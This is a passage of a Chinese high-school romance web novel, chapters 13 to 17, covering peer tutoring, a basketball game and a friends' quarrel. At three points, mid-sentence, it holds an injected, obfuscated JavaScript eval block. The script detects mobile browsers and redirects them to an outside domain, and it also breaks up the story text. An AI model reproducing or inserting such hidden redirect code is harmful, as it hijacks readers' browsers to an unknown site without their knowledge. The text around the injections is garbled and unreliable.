尤伽被他这严肃的样子搞得莫名其妙:“什么我不喜欢,你自己的事情,想改就改,别赖我身上啊。” “嗯,是我自己的事情,”陈屿对她真是一点脾气也没有,“我唾弃我自己,决定痛改前非。” 尤伽扫他一眼,看白痴似的,她觉得今天的孟云程有点奇怪,可又说不出具体哪里奇怪:“随你吧。” 陈屿整整站了一节课,好在物理老师最后并没让请家长,而是让他们每个人把试卷抄写一遍。 这四十五分钟里,陈屿站着受罚,姜挽的心也跟着一起七上八下。 好不容易熬到下课,她的第一句话便是:“你帮了我一个这么大的忙,我该怎么感谢你?” 太过正经的语气,倒是把陈屿听笑了,他站得时间长,这会儿腿有些麻,正捏着:“你想怎么感谢我?” “你想我怎么感谢?” “姜挽,你刚才自己说的要感谢我,怎么感谢,难道不应该是你自己想吗?” 他语气含笑,声音比刚才听起来还要有磁性,姜挽也不知道自己是怎么搞的,在他面前越来越容易脸红了。 她声音很轻,几乎和窗外的风声融在一起:“我怕我说了,你不喜欢。” “你可以试试。”陈屿斜靠着椅背,歪头看向她。 “请你吃饭。” 陈屿“啧”一声:“太老套。” “请你喝奶茶。” 陈屿拧眉:“不喜欢。” “那我也给你买水呢?” 陈屿一把将手中的书合上:“你看我需要吗?” 好像是不需要。 姜挽轻呼出一口气:“那要不还是你说吧,你说了,我一定尽力。” 陈屿想了想,挑眉:“要不,你帮我把这张试卷抄一遍交上去?” 可以是可以,只是姜挽有些担心:“我抄写的话,老师会看出来吧,毕竟我们两个的字体不一样。” “也对,”陈屿翘着二郎腿,一手撑着太阳穴,一手懒散转着笔,“那让我再想想。” “你慢慢想,要是想不出来的话……” “你帮我按按腿吧,我刚才站得时间太久,腿疼得厉害。这个要求不难吧,你也不用担心被老师发现。” 一瞬间,姜挽的脸比刚才红得还要厉害。像是淋漓的晚霞,又仿佛熟透了的樱桃,除了慌张,还有窘迫。 “我觉得,不怎么样。”她难得这么有脾气。 陈屿笑了,比刚才说出这个要求时还要高兴:“做不到?” “做不到。” “做不到就算了,”他语气里有一股很宠的劲儿,“本来也是逗你的。” “为什么?” 陈屿没答,反而问:“你现在心情好点了没?” 姜挽吃惊地看向他,她确实是不高兴,可从来没和他说过,也不知道他是从哪里看出来的。 她吃惊时,眼睛会瞪大,嘴唇微微张开一点,看起来既懵懂又清纯。 陈屿不敢多看,稍别开视线:“别这么惊讶,你放心,我什么都不知道。我只是感觉你心情不大好,想告诉你,无论发生了什么,都会过去的。” 姜挽看向他,看他黑曜石般的眼睛在阳光下熠熠生辉,打碎了满天星子似的,叫她不敢和他对视。 秋日的暖阳,少年的情谊。 她终于开口:“嗯,我知道了,谢谢你。” 14. 第 14 章 高三,在大家的眼里都差不多,基本都是由考试构成的。 姜挽她们也不例外,摸底考试刚过去,月考就来了,今天,恰巧是月考成绩出来的日子。成绩排名几乎和上次一样,只是分数略微有些差异。 午休时间的办公室,人很少,只有韩华一个人。他正仔细研究着这次月考的成绩排名,面前还站着两个人,是陈屿和姜挽。 好半晌,他才取下眼镜,按了按眉心的位置:“你们两个考得不错,分数很高,不止是在我们学校,在整个北城也能排在前面。可惜了,”他顿了顿,眉间的褶皱不觉加深,“你俩都有短板。” 和摸底考试那次相比,这次的韩华已经冷静了不少。如果说上次是单纯的高兴,那么这次在高兴之余,又增添了一些忧虑。 毕竟,作为老师,总是希望自己的学生能够越来越好,分数越来越高,只要还有空间,就希望他们能冲一冲。 “你是语文。”他看向陈屿。 “你是数学。”视线又转向姜挽。 “要是你们这两科的分数能够分别再高一点,那成绩可就远不止现在这样了。” 数学一直以来都是姜挽的短板,她站在一旁默默听着,抿着唇角没说话,倒是旁边的陈屿满不在乎地开口:“算了吧,老韩,我语文就那样,你又不是不知道。” “怎么能算了,你不知道一分能压倒多少人,更何况你们还有这么大的进步空间,”他是真替他们想,“得找人帮你们补习补习。” 一听这话,陈屿当即摆手,他平日里散漫惯了,听到补习就头大:“先声明啊,补习什么的我不参加,我没时间,也没那个耐心。” 韩华反驳他:“你没时间?我看平时就你时间最多,作业不写,试卷不交,在哪儿都能碰到你在瞎晃悠。” 他说得没错,陈屿也不反驳,只是一再坚持:“你怎么说都行,但补习这玩意儿,我坚决不参加啊。” 气氛一时僵在这儿,韩华虽无奈,可也没再继续。他本打算换个方式,从姜挽开始,眼神刚瞥过去,忽地灵光一闪:“要不,你们互相补习吧?” 说罢,他似乎觉得这是个绝妙的主意,忍不住强调:“你数学好,姜挽语文好,刚好对应你们短板的那一科。再说了,你们又是同桌,平时遇到问题,下课就能解决,也就不需要单独安排时间。” 说完,他先去问陈屿的意见,这小子难搞,事也多,搞定了他,基本就没问题了:“怎么样?这么安排,就不需要你花费太多时间和耐心了吧?” 陈屿挑眉,没有任何一句废话:“她没问题,我就没问题。” 这态度,这速度,和他刚才的推三阻四比,简直就是天壤之别。韩华都震惊了。可反应过来后也觉得不奇怪,这小子一向都是最怕麻烦的,如今这种方法简单,他当然就没有了拒绝的理由。 看来,以后对付他,还是得找对方法。 问完陈屿的意见,就剩姜挽了,这孩子一向听话,和她沟通,韩华基本没什么压力。 “姜挽,你觉得呢?” “老师,我没问题的。”姜挽全权配合,甚至为了表达她对这个决定的认可,还追加了一句,“我刚好有个不懂的问题,一会儿请教一下陈屿同学。” 听她这样说,陈屿不觉勾了下唇角:“那还等什么?” “嗯?” “回教室啊,你不是有问题要问我。” “哦哦。” 陈屿走得快,姜挽有些跟不上,走了两步又想起来还没和班主任告别,她忙又转身,匆匆打了招呼才继续走。 韩华看着他们两人的背影,心里即欣慰又感叹,莫名有一种“孩子大了不由娘”的感觉。 回到教室,陈屿很积极,当即便让姜挽把那道题找出来,姜挽想晚点再说,被他拒绝了,而且还给出了十分充足的理由:“老韩让我帮你补习,我就一定得负责,对吧,小姜同学?” 最后这几个字,他说得格外慢,而且声音含笑,像一把沾了宿雨的夜风,拂在脸上都是潮湿粘腻的感觉,姜挽一下子就脸红了。 “你不要这样叫我。”她小声抗议。 “为什么?”陈屿靠近,像要说一个秘密,“你刚才不就是这样叫我的。” “我没有。”她那叫的是“陈屿同学”,并不是“小陈同学”。 “不喜欢吗?” “不合适。” “那你想让我叫什么?”听起来,陈屿像是在询问她的意见,可实际,他并没有给她回答的机会,“小朋友?换成这个称呼怎么样?” 姜挽皱眉:“这个比刚才那个还要不合适。” “是吗?我觉得还挺合适的。”陈屿故意拉长语调,“哦——我明白了,你是不喜欢‘小’这个字吧。那你说说看,你生日是什么时候,我们比一比。” “十二月。”在他面前,姜挽经常会忘了自己原本的初衷,不自觉就会跟着他的思维走。 “具体哪天?” “这个也需要吗?” “当然,不然怎么比。” “一号,十二月的第一天。” “哦,”陈屿应一声,装作若无其事的样子,“那没错了,我比你大,叫你‘小朋友’,你不吃亏。” 姜挽有些不大信:“你生日是什么时候?” “七月。”陈屿朝她伸手,意思是让她把手里的那张试卷递给他。 姜挽没给,也没有其他的动作。 她回想起刚才陈屿的回答,既然他的生日在七月,那就代表着在她说出自己生日十二月的时候,事情就已经十分清晰了,为何他还要追问她具体的日期呢。 她觉得,陈屿是故意的。 “好像不用知道具体日期,也能证明你比我大。”现在在他面前,姜挽没了一开始小心翼翼的谨慎,觉得不对也会怼,被他惹了也会有脾气。 陈屿装傻:“是吗?我没注意。”他想尽快结束这个话题,于是干脆从她手中将试卷拿了过来,“哪道题不会?” 关系到学习,姜挽还是很认真的,老老实实地收起了刚才那点小情绪,将试卷翻过来,指了指最后那道。 陈屿随着她的指尖去看,是一道几何体,不属于他们学的常规知识点,有些超纲了。他没见过这种类型的题,一时也没什么头绪。 她的事情,他绝不会敷衍对待:“这道题比较复杂,涉及到的知识点比较多,我先仔细看看,一会儿跟你说。” “好的,那你慢慢看,麻烦你了……” 姜挽原本还想再说几句客气的话,却被陈屿打断了:“行了,这些话别说了,影响我思维。” “哦。”姜挽果然不说了,想了想,她打算换成“做”。 班主任说了,陈屿如今和她是“互补”的关系,那就是她也得在语文方面帮助他。 陈屿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448260|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语文试卷她之前看过,主要失分多的地方都在作文。她将自己以前整理的知识要点找出来,又找了几篇非常典型的作文模板,打算一会儿给他。 很快,也就五六分钟吧,刚才还被他说难的那道题,已经解出来了。陈屿给她讲解,还是辅助线的问题,两条辅助线一画,瞬间就清晰了。 姜挽不禁感叹,他是真聪明。感叹之余,也还记得自己该做的事情,她把刚才找出来的资料整理好:“这个给你。” “什么?”陈屿没接。 “作文要点和模板。” 陈屿这才接过,随意往桌上一放,和他刚才帮她解题时的热情比起来,这会儿显得冷淡多了。 姜挽忍不住提醒:“班主任说我们要互相补习,这几篇范文你看看吧,我就是按照这些模板写的,应该会有用。” 比起作文,陈屿更在意她,也更在意她的表情,他故意开口:“知道了,小姜老师。” “你不要……”话说一半,姜挽忽地顿住,因为她注意到孟云程和尤伽从外面回来了,忙住了口。这个称呼,让她难得的有了忸怩之态。 “不要什么?”偏偏这个时候,陈屿还要追过来问。 姜挽怕他们听到,忙开口:“没什么,你听错了。” 陈屿乘胜追击:“是吗?那我可叫了啊,我以后都这样叫了啊。” 尤伽已经走过来了,还在和她打招呼,姜挽一个头两个大:“随便你。” 话音落,便听到身旁传来一阵低低的笑声。 尤伽把刚才在楼下买的零食分给她:“呦呦,你脸怎么这么红啊?是不是不舒服?” “有吗,没有吧。”姜挽心虚,忙拿手贴了贴自己的额头,“可能是天热吧。” “热吗?”尤伽往窗外看一眼,“今天是阴天哎。” “呃……”姜挽词穷,非常生硬地转移了话题,“这零食还挺好吃的。” “好吃吧,孟云程买的。”尤伽大咧咧的,很多时候也注意不到太多细节,“对了,刚才班主任叫你们过去干嘛呢?” “班主任说我们两个都有短板,让我们互相补习一下。”姜挽和她直说。 “你们都这么厉害了,还补习啊,那到时候不就是强强联合,双剑合璧?以后八中,不对,是北城,谁还能是你们的对手啊。” 这话听起来怪怪的,但姜挽一时也搞不清是哪里的问题,她解释:“没你说的那么夸张,我们不是都有短板嘛。” “你们那也不能叫短板吧,顶多是优秀得不突出罢了。”尤伽往嘴里塞薯片,嚼得咔嚓咔嚓响,“不过也对,你俩这么厉害,可塑性这么高,老师对你们要求严格点也是应该的。” 尤伽吃完薯片,拿纸巾擦手,忽地想到了什么:“那这样的话,你们两个以后岂不是就要朝夕相处了?” 朝夕相处? 什么乱七八糟的啊…… 姜挽终于明白哪里不对了,是因为尤伽把这些形容男女之间的词,全都错误地用在了她和陈屿身上。 “当然不是了,”她反驳她,“况且,你词都用错了,‘朝夕相处’不是这个意思的。” “啊,我说错了吗?”尤伽很茫然,看看她,又看看陈屿。 旁边一直没发言的陈屿却在这时突然开口:“没有,我觉得你说的非常有道理。” 姜挽:“……” 他是故意和她作对呢吧…… 15. 第 15 章 周五,是姜挽她们每周比较放松的一天,学习强度没那么大,课程的安排也没那么紧凑。 吃完午饭,她和尤伽在校园里遛弯,以前是还有陈屿和孟云程的,但时间长了,她们还是觉得两个女生一起更方便。 路过篮球场时,发现那里围了一圈人。尤伽想过去看,但姜挽不想去,自从上次无意间撞上陈屿被表白的场景后,她就对这种人群聚集的场合有了心理阴影。 况且,陈屿上次还特意交代过她,没事不要瞎凑热闹。 “要不还是你去吧,我在旁边……” 她话还没说完,就被尤伽拉着胳膊扯了过去:“哎呀,没事的,就一会儿,耽误不了多长时间的。” 姜挽被她拉着,身边不断有女生经过她们,朝着篮球场跑去,尤伽更兴奋了:“这么多人过去,肯定是大事,快走,快走,”她催促道,“整天面对书本多无聊呀,就需要这种新鲜事来调节一下。” 离得近了,就知道是怎么回事了。其实也不用太近,刚才过来的一路,她们就已听旁边人提起过了,今天是因为有篮球赛,所以才会这么多人。 一场篮球赛其实也不足为奇,八中的学生爱好广泛,很多时候她们路过篮球场时,都会看到有人在这打篮球。 关键的是这次比赛的双方,文科班和理科班的对峙,更重要的是,还有裴思和陈屿参加。 “这可是八中鼎鼎有名的两大男神啊,一直都知道他俩会打篮球,却从来没机会亲眼见过,更别说还是今天这种对峙的场面了,怪不得会这么多人。”尤伽和她介绍,边说,边往里挤。 人很多,里三层外三层的,又都是女生,谁也不让谁,费了九牛二虎之力也没进去,尤伽干脆放弃了。好在她和姜挽个子都不矮,站得远点,垫垫脚,倒是也能看清。 球场上正在激战,姜挽不大懂这些,但也能简单做出些区分。场上分为蓝红两队,陈屿他们是蓝队,另一方是红队。 几乎是不自觉的,从来到这里的那一刻,姜挽的视线便一直停留在陈屿身上。他还穿着平日里那身校服,可气质却完全不一样了。身形矫健,健步如飞,像一抹朝阳,又好似一缕劲风,身上满满的,全是恣意的少年气。 跨步,运球,躲闪,弹跳…… “砰”的一声,篮球进框落地,完美的一次扣篮! “陈屿!陈屿!陈屿……” 一瞬间,周遭呼啦啦响起的全是喝彩声和尖叫声,在这浪潮中,姜挽也忍不住跟着一起鼓掌。 尤伽注意到了,笑着开口:“怎么样?精彩吧?和我一起过来不后悔吧?” 被她这么一说,姜挽才意识到自己有些忘形了,忙收回唇角的那抹笑,给自己找了一个理由:“没想到,陈屿还会打篮球。” “他什么都会,不只篮球呢。”尤伽说,但似乎对陈屿兴趣不大,她的注意力都在裴思身上,“你再接着往下看,裴思的球技也很好的,只不过还没轮到他发挥。” 她似乎格外关注裴思。 姜挽直接问:“你喜欢他吗?” 尤伽难得露出了害羞的情态:“也不是啦,我就是觉得他长得帅,成绩好,篮球也打得好。” 姜挽不太懂她这些弯弯绕绕:“那孟云程呢?” “和他有什么关系?”尤伽不明白怎么突然扯到他了,恰巧球到了裴思手里,她一秒切换迷妹模式,“快看,快看,好帅呀!他一定能进球的!” 最终,裴思进球了,姜挽也看了,可不管怎么看,她还是觉得陈屿更帅。 像是窥探一个秘密,她小心翼翼地朝陈屿那边看过去。不成想,碰巧遇上他转过来的目光,像是早有预谋,又仿佛临时起意,阴差阳错的,两人的视线在空中进行了一个来回。 刚才离得远没看清,这会儿视线对上,姜挽才发现他额上缠着一条黑色发带,整个刘海都被全部掀起来了。 平日里刘海垂下来看不大出来,这会儿额头露出来,五官一览无余,配上他深邃的瞳仁和清晰的脸部轮廓,阳光照上去,莫名有一股狂拽的锐气。 也不知是有意还是无意,他冲着姜挽挑了一下眉头,刹那间,整个这片方向的女生都炸裂了! “我靠,看到没,陈屿刚才冲我挑眉了!他冲我挑眉了!” “他那是对着你吗?是对我,好吗?不过该说不说,是真他妈帅!” “是啊,是啊,真是太帅了吧!我他妈的心脏都要飞出来了!” …… 类似这样的声音,一句比一句激动。 尤伽也听到了,不过她兴趣不大:“陈屿刚才是冲她们挑眉吗?”她问姜挽,“这些人可真够疯狂的。” 姜挽暗暗吞了口气,悄悄平复自己的心情:“好像……是吧。” “一个挑眉而已,至于这么疯狂吗。”尤伽平时就看不惯这些人装腔作势的样子,这会儿陷在她们里面,别提多别扭了。 这话,姜挽没答,因为她虽然没有表现出来,但她自己知道,刚才陈屿那个挑眉的动作出来,她也觉得帅。 场上,孟云程也注意到陈屿的异常了,他们很长时间没一起打篮球了,可对他的习惯还是记得清楚。 这小子平日里打篮球是一眼都不肯分给台下的,今天却故意去看,还停留了这么长时间? 事出反常,必有妖! 他顺着他的视线去看,果然在人群里看到了尤伽和姜挽的身影,要不说他思想单纯呢,一看到尤伽,瞬间便把刚才的疑虑抛到九霄云外了,忍不住在陈屿面前摩拳擦掌:“一会儿找机会把球传给我。” “为什么?”陈屿疑惑,虽然没明说,但那意思再明确不过了,传给你,你能进球吗? 孟云程没功夫和他解释那么多,他一直就想在尤伽面前表现一下自己。平时陈屿不在他没机会,现在陈屿在了,他还不趁机赶紧装一把大的。 “别问那么多,你就说是不是兄弟?是兄弟的话,你就传给我!” 陈屿用一种既不懂又嫌弃的表情看着他:“知道了。” 没多会儿,找到机会,陈屿果然把球传给他了,而且还帮他制造了一个非常好的投球机会。 天时,地利,人和。 孟云程一跳而起,篮球瞬间入框,场外一片兴奋!可当他回头去看尤伽时,却发现她并没有在看自己。 顺着她的视线看过去,她好像在看……裴思? 那小子孟云程认识,在文科班比较出名。因为长得不错,成绩也突出,有时会和陈屿的名字绑在一起,被人成为“八中双男神”。 可他觉得,和陈屿比,那小子差太多了。 接下来的比赛,孟云程不进攻,不抢球,全程围着裴思转,目的就是拦住他,斩断他一切进球的机会。 陈屿也看出来了,趁传球的间隙骂他:“你老和他叫什么劲?自己的球不进了?” 孟云程脸色沉着,却不示弱:“看他烦。” 后半段,红队一直都进不了球,几乎是被追着打。时间长了,大家都有些累,队形和人心自然也就涣散了,仅靠裴思一个人撑着,也没什么用,所以结果可想而知。 球场上输了比赛,难免有些气不顺,连裴思这么温文尔雅的人,脸色也有些难看。加上后半段的时候,他也意识到对方是在刻意为难了,所以这会儿格外不甘心。 要是平时也就算了,偏偏这次是输给陈屿,那个从他一进高中就压他一头的人,裴思心里更是窝火。 不过刚才几次近身交锋的机会,也让他注意到,好几次了,陈屿都会往同一个方向看,那里站着的人他有印象,是理科班新转来的那个女生。 这个女生他有印象,其实在上次分享会上,他就记住她了。 一来能把理科学得这么好的女生实在太少,二来是因为,她实在是太漂亮了。和他以往见到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448261|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那些,围着他转的那些都不同。 清冷孤傲,倔强温和,仿佛一杯加了冰的冷萃茉莉。尤其是那双琥珀色的桃花眼,一笑起来,里头荡着水光似的。 所以,他要做点什么,必须做点什么,不仅是为了气陈屿,也为了引起她的注意。 从篮球场离开的时候,裴思故意选了离她近的那条路,一路拿着球过去,很多女生和他打招呼,他都没应,偏偏在距离她不远处停了下来。 他抬手,做了个准备投篮的动作,身旁瞬间响起一阵惊呼,可下一秒,那篮球却突然从他手中滑落,像是有了生命力似的,径直朝着姜挽的方向去。 事情发生得太快,大家都没有反应过来,眼见着篮球就要从天而降,砸在姜挽身上,忽地一道身影从不远处飞快地跑过来,挡在了她的前面。 “咚”的一声,是篮球砸在脊背的声音,大家这才反应过来,刚才跑过来的那道身影,是陈屿。 姜挽也惊呆了,她不知为何那篮球会朝着她而来,也没明白在这么短的时间内,陈屿到底是怎么跑回来的,一切都快得好似一场梦。 直到耳边响起陈屿的声音:“你没事吧?” 意识慢慢回笼,头顶是他的下巴,鼻尖是那股熟悉的淡香,姜挽这才意识到,此刻她和陈屿离得有多近,几乎就相当于靠在他的怀里了。 心跳好快,胃里仿佛有一只蝴蝶。 “有没有事?是不是伤到哪了?”陈屿再次追问。 姜挽这才回过神来,忙摇头,和他隔开一段距离:“我没事。” 陈屿点头,没再问,而是转身朝着裴思的方向。 裴思也正朝这边走,本来人就多,只留出一条通道,两人狭路相逢,瞬间僵持不下。 陈屿先开口,很直接:“你没看到她在那吗?故意的?” 他今日的打扮本就冷酷,这会儿又因为姜挽差点被砸,眼底止不住的全是寒意。 裴思还是那副温文尔雅的样子:“抱歉,手滑,失误了。 失误?陈屿不管这些,他只在乎姜挽。今天他在这,就决不能让她受欺负。 “和她道歉。” “应该的。” 裴思朝姜挽走过去,两边的人群自动分开,为他们让出一片空地。尤伽原本想趁这个机会和裴思打个招呼的,但稍一想又觉得不合适,于是也默默退开了两步。 离得近了,裴思没有率先开口,而是先转身去看,见陈屿没跟过来,他勾了勾唇角,第一反应不是道歉,而是先和姜挽打招呼:“你好,我叫裴思。” 姜挽不大会应对陌生人,她朝陈屿的方向去看,他还停留在刚才的位置,没过来,心里莫名有些不安定:“你好,我叫姜挽。” “我知道,我认识你。”裴思笑了一下,这才进入主题,“抱歉,刚才我手滑,不小心失误了,我向你道歉。” “没关系,”姜挽不在意这些,而且真正被砸到的是陈屿,她指指陈屿的方向,“你要道歉的人,其实是他。” “也对,”裴思点头,“可是,是他让我过来和你道歉的。” “哦,”姜挽点头,陈屿说的,她一般都不问为什么,“那没事了,我没受什么伤。” 说罢,她打算走,裴思忽地弯腰,靠近她的耳朵,用只有他们两人才能听到的声音问:“你和陈屿,是什么关系?” 他说这话的时候,不远处的陈屿正朝这边看过来,姜挽和他视线对上,注意到他眼中的不耐。担心他误会,她忙退开几步,和裴思拉开距离:“同桌。” “哦~原来是同桌,怪不得。”裴思重复她的话,只是那语调,听在姜挽的耳朵里,总觉得有些怪怪的。 正当她纠结,该如何结束这场对话的时候,陈屿已经从不远处走了过来,看都没看裴思一眼,对着姜挽开口:“走吧。” “嗯。”姜挽朝裴思点了点头,默默跟在陈屿的身后。 16. 第 16 章 一路,陈屿走得很快,姜挽需小跑才能跟上他。 两人回到教室,在座位上坐下,他也没说话,最后,还是姜挽主动开口打破了沉默:“刚才,谢谢你。” “嗯,”陈屿简单应一声,神色很淡,转头来看她,那表情说生气太重,别扭又太轻,总之就是不怎么高兴,“刚才,他和你说什么了?” 姜挽以为他是想知道裴思有没有和她道歉,毕竟听裴思讲,他来道歉,也是因为陈屿要求的:“他和我道歉了。” 不成想,话出口,陈屿反而更不高兴了。 “道歉需要离那么近?” 虽然还不是很明白他这不高兴因何而来,姜挽还是忙解释:“他那是在问我问题。” “什么问题?” “我和你的关系。” “那你怎么回答的?” “我说是同桌。” “哦。” 话音落,陈屿没再追问,表情倒是没什么大的变化,只是那眼睛里的东西不大一样了。像是沉闷,又仿佛苦涩,总之就是一股子有口难言的郁闷。 姜挽小心询问:“是不是我说错了什么?” “没有。”可郁闷归郁闷,陈屿也知道,这件事情急不得。 他收了收心绪,声音缓下来,问姜挽:“刚才有没有被吓到?” “要说实话吗?” 她那个样子,看起来怯生生,眼睛里一股怜爱劲儿,真像一只小鹿。陈屿费了好大的劲儿,才忍住想要揉她头发的冲动:“不然呢?我问你,难道是要听你说假话的?” 姜挽吸了下鼻子,讪讪的:“有一点。” 听她这么说,陈屿一下子又有点上火:“上次不是告诉过你不要瞎凑热闹吗?这次怎么还去了?刚才那篮球的力道不小,幸好是砸在我身上,要是我没有赶过去,砸在了你身上,或者是你脸上,你又该怎么办?” 这些姜挽没想过,刚才事发突然,根本来不及做思考,要是真像陈屿说的那般,她也没什么好的方法,只能硬生生挨下来。 “如果真是那样,就只能自认倒霉了。” “你……”陈屿被她气到,也是心急吧,一时间说了不合时宜的话,“下次这种凑热闹的情况,你不许再去了。” 没想到听到这话的姜挽却没觉得有什么不合适,反而是乖乖应承了下来,还追问他后背被砸得痛不痛。 她这么听话,陈屿倒是没想到,心底刚才那股郁闷和躁动,一下子便被抚平了。他有点不大敢看她:“我没事,皮糙肉厚的,没什么事。” “那也不能大意,你晚上回家最好还是涂点药。” “嗯,知道了。” “对了,还有件事,”陈屿补充道,“你以后离那么裴思远点,不要和他过多接触。” 姜挽对他说的这些话并不抵触,只是有点好奇他为什么会这么说:“我可不可以问一下原因?” 原因…… “我看他烦。” “……哦。” 没想到是因为这个,姜挽一时也不知该如何接话,两人正沉默着,尤伽突然从外面回来了。 一看她的表情,就知道是有话和姜挽说,陈屿倒是很自觉,自动起身离开了座位。 等他走了,尤伽低着头,才别别扭扭地开口:“呦呦,你能不能不要生裴思的气,他不是故意的。” 姜挽觉得奇怪,因为尤伽这情态,更因为她这么帮裴思说话。 她本来没生气,可就想逗逗尤伽:“为什么?你不希望我生他的气吗?” “当然不希望了,”尤伽抬起头,满脸的忧心忡忡,“你们两个,一个是我最好的朋友,一个是以后要成为我男朋友的人,你们两个要是有隔阂了,那难做的不还是我嘛。” “男朋友?”姜挽简直震惊,不明白事情怎么就发展得这么快,她基本每天都和尤伽在一起,也没见着他们有什么接触啊。 “嘘——”你小声点,尤伽有些不好意思,“其实那会儿你问我喜不喜欢他的时候,我骗了你,我是喜欢他的,只是不好意思承认罢了。虽然他现在还不是我的男朋友,但早晚都会是的。” 这关系有点乱,姜挽一时有些懵:“那孟云程怎么办?”她磕的CP可一直都是她和孟云程啊。 “和他有什么关系?虽说我们是认识很多年了,也是朋友,但我谈男朋友,应该也不需要他批准吧。” “当然了,你有什么想法,想做什么事,自然是不需要我批准的。” 姜挽还没来得及开口,身后却突然传来一阵冷漠的声音,她和尤伽因为说的是悄悄话,贴得很近,没注意到身边的动态,这会儿突然听到声音,都有些被吓到。 尤伽先反应过来,用力捶了孟云程一下:“你怎么神出鬼没的,还偷听别人说话呀?” “我没有偷听,是你们声音太大了。” “那你也不应该突然出声呀,吓死我们了。” “是吗?”孟云程神色严肃,一点也没有平日里那副吊儿郎当的样子,“吓到你了吗?我看你还挺高兴,挺兴奋的。” 今天的孟云程太过奇怪,姜挽抬眸去看他,他抿着唇,脸色阴沉,眼底除了生气外,更多的反而是伤痛。 她大概能猜到是因为什么原因,刚想说两句缓和的话,没想到对面的尤伽突然拍了桌子。 莫名被怼,还是被孟云程,尤伽当然咽不下这口气了,当即发飙:“孟云程,你发什么癫?” 这次孟云程一点也没让她:“我发癫,那也比某人犯花痴来得强吧?关键犯的对象还是个人品不怎么样的人,球都拿不稳,还差点砸到别人。” “裴思他不是故意的!” 听她提到这个名字,孟云程更生气了:“你怎么知道?你这么了解他吗?你是他肚子里的蛔虫还是什么?怕不是你在这边自作多情,为人家期期艾艾,人家连你叫什么名字都不知道吧?” “你……”尤伽被他气到,一时有些结巴,不是因为她吵架的功力不行,而是因为她今天面对的是孟云程,以往那个对她从来都是唯命是从的孟云程! 她开始撒泼:“丢了球也比你强!好过你球都拿不到,进球还要让别人传给你!” “你!”孟云程明显也气得很,“你简直无可救药!” “你才无可救药!你无徳无能,眼高手低!” 最后,孟云程到底还是不忍心对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448262|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说出太难听的话,一气之下,离开了座位。 整个过程,姜挽基本都是处于静默的状态,想劝架不知如何开口,想拉住尤伽,又有些力不从心。最后,只能等这场争吵结束,默默给尤伽递上水杯。 “呦呦,你听见他刚才怎么说我,怎么说裴思的吗?真是太可气了!”尤伽边咕噜噜灌水,边吐槽孟云程。很明显她是气很了,脸颊两侧红彤彤的。 其实孟云程为什么会这么生气,姜挽大抵是明白的:“会不会,他也有自己的苦衷?” “苦衷?”尤伽愣了一下,“什么苦衷也不能这样啊,随意就乱说别人?再说了,就他那性格,能有什么苦衷。我可太了解他了,他一直就是这样的人!” 眼见着她还在气头上,一时半会儿估计也劝不好,姜挽没再多说:“你先别生气了,多喝点水。” 尤伽一点不含糊,立马拿起水杯:“我才不生气呢,我就是要气他,气死他。” 因为中午的争吵,尤伽和孟云程一下午都互相不搭理。说话靠姜挽传,东西靠姜挽递,几节课下来,姜挽没少被他们折腾。 她没什么怨言,可陈屿却看不下去了,终于在她再一次帮尤伽给孟云程递试卷时,他一把拿了过来,“啪”的一声拍在孟云程背上:“自己的事情,自己解决。” 孟云程默默接过试卷没说什么,而且看起来,也像是已经消气了。他踌躇着该怎么破冰,正犹豫着打算和尤伽说话,谁知尤伽却一个白眼飞了过来,还当机立断划了一条三八线。 “从今天开始,你不要越过这条线。” “你!”孟云程吃瘪,又不能拿尤伽怎么样,只得看向姜挽,刚想求助,被陈屿一句话堵了回去:“自己解决。” 姜挽朝他抱歉地笑了下,也低下了头。 晚上回到家,姜挽还在想着这件事,她给陈屿发微信:【孟云程是不是喜欢尤伽?】 自从他们加了微信后,晚上经常会简短地聊两句,有时候是关于作业,有时候是学校的琐事,但时间一般都很短,都会控制在几分钟之内。 收到微信的时候,陈屿刚洗完澡从浴室出来,额前的碎发还带着湿意,他抬手随意一拢:【没想到,你对别人的事看得倒还挺清楚。】 他这么说,姜挽就当她是猜对了:【那我要不要把这件事情告诉尤伽?】貌似,从今天的情况来看,尤伽好像并不知道。 【不用,他们的事情让他们自己去解决。】 这条发出去,陈屿担心隔着手机语气有些太硬了,又补充:【要是那么好说的话,孟云程早自己说了,他们之间比较复杂,让他们自己决定吧。】 姜挽觉得他说的也有道理,毕竟是别人的事情:【也是。】 每次她这样回答,陈屿都觉得她很乖,忍不住逗她:【你有时间,可以多关心关心自己,或许能发现点不一样的东西。】 姜挽不太懂:【什么意思?】 是他开的口,可被追问,陈屿又有些不好意思了:【没什么,早点睡吧。】 【嗯,你也早点休息。】结束前,姜挽突然又想起来另外一件事,【你记得涂药。】 对着手机,陈屿笑了:【好。】 17. 第 17 章 